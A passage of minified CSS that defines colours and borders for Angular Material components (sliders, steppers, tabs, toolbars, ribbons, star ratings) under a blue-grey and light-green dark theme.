.mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#fff}.bluegrey-lightgreen-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#bdbdbd}.bluegrey-lightgreen-theme .mat-slide-toggle-bar{background-color:#ffffff80}.bluegrey-lightgreen-theme .mat-slider-track-background{background-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#546e7a33}.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#689f38}.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#689f3833}.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#ff572233}.bluegrey-lightgreen-theme .mat-slider:hover .mat-slider-track-background,.bluegrey-lightgreen-theme .mat-slider.cdk-focused .mat-slider-track-background,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#fff}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#ffffff4d;background-color:transparent}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.bluegrey-lightgreen-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.bluegrey-lightgreen-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.bluegrey-lightgreen-theme .mat-step-header.cdk-keyboard-focused,.bluegrey-lightgreen-theme .mat-step-header.cdk-program-focused,.bluegrey-lightgreen-theme .mat-step-header:hover:not([aria-disabled]),.bluegrey-lightgreen-theme .mat-step-header:hover[aria-disabled=false]{background-color:#ffffff0a}.bluegrey-lightgreen-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.bluegrey-lightgreen-theme .mat-step-header:hover{background:none}}.bluegrey-lightgreen-theme .mat-step-header .mat-step-label,.bluegrey-lightgreen-theme .mat-step-header .mat-step-optional{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon{background-color:#ffffffb3;color:#fff}.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-selected,.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-state-done,.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-state-edit{background-color:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon{color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon-selected,.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.bluegrey-lightgreen-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon-selected,.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.bluegrey-lightgreen-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#ff5722}.bluegrey-lightgreen-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#fff}.bluegrey-lightgreen-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#ff5722}.bluegrey-lightgreen-theme .mat-stepper-horizontal,.bluegrey-lightgreen-theme .mat-stepper-vertical{background-color:#424242}.bluegrey-lightgreen-theme .mat-stepper-vertical-line:before{border-left-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-horizontal-stepper-header:before,.bluegrey-lightgreen-theme .mat-horizontal-stepper-header:after,.bluegrey-lightgreen-theme .mat-stepper-horizontal-line{border-top-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-sort-header-arrow{color:#c6c6c6}.bluegrey-lightgreen-theme .mat-tab-nav-bar,.bluegrey-lightgreen-theme .mat-tab-header{border-bottom:1px solid rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.bluegrey-lightgreen-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(255,255,255,.12);border-bottom:none}.bluegrey-lightgreen-theme .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-link.mat-tab-disabled{color:#ffffff80}.bluegrey-lightgreen-theme .mat-tab-header-pagination-chevron{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#607d8b4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-primary .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#aed5814d}.bluegrey-lightgreen-theme .mat-tab-group.mat-accent .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#689f38}.bluegrey-lightgreen-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffccbc4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-warn .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#607d8b4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#aed5814d}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#689f38}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffccbc4d}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.bluegrey-lightgreen-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.bluegrey-lightgreen-theme .mat-toolbar{background:#212121;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar.mat-primary{background:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar.mat-accent{background:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar.mat-warn{background:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field-underline,.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field-ripple,.bluegrey-lightgreen-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field-label,.bluegrey-lightgreen-theme .mat-toolbar .mat-focused .mat-form-field-label,.bluegrey-lightgreen-theme .mat-toolbar .mat-select-value,.bluegrey-lightgreen-theme .mat-toolbar .mat-select-arrow,.bluegrey-lightgreen-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.bluegrey-lightgreen-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.bluegrey-lightgreen-theme .mat-tooltip{background:rgba(97,97,97,.9)}.bluegrey-lightgreen-theme .mat-tree{background:#424242}.bluegrey-lightgreen-theme .mat-tree-node,.bluegrey-lightgreen-theme .mat-nested-tree-node{color:#fff}.bluegrey-lightgreen-theme .mat-snack-bar-container{color:#000000de;background:#fafafa;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.bluegrey-lightgreen-theme .mat-simple-snackbar-action{color:inherit}.bluegrey-lightgreen-theme a:link,.bluegrey-lightgreen-theme a:visited{color:#aed581;text-decoration:none}.bluegrey-lightgreen-theme a:hover,.bluegrey-lightgreen-theme a:focus,.bluegrey-lightgreen-theme a:active{text-decoration:underline}.bluegrey-lightgreen-theme a{outline:none}.bluegrey-lightgreen-theme .confirmation{color:#689f38}.bluegrey-lightgreen-theme .ribbon:before{border:5px solid #689f38}.bluegrey-lightgreen-theme .ribbon span{background-color:#689f38}.bluegrey-lightgreen-theme .error{color:#ff5722}.bluegrey-lightgreen-theme .ribbon-sold:before{border:5px solid #ff5722}.bluegrey-lightgreen-theme .ribbon-sold span{background-color:#ff5722}.bluegrey-lightgreen-theme .primary-notification{background-color:#263238}.bluegrey-lightgreen-theme .accent-notification{background-color:#558b2f}.bluegrey-lightgreen-theme .warn-notification{background-color:#e64a19}.bluegrey-lightgreen-theme .img-thumbnail{background-color:#546e7a0d;border:1px solid #546e7a;border-radius:3px;padding:3px}.bluegrey-lightgreen-theme .empty-star{stop-color:#546e7a}.bluegrey-lightgreen-theme .filled-star{stop-color:#689f38}.bluegrey-lightgreen-theme 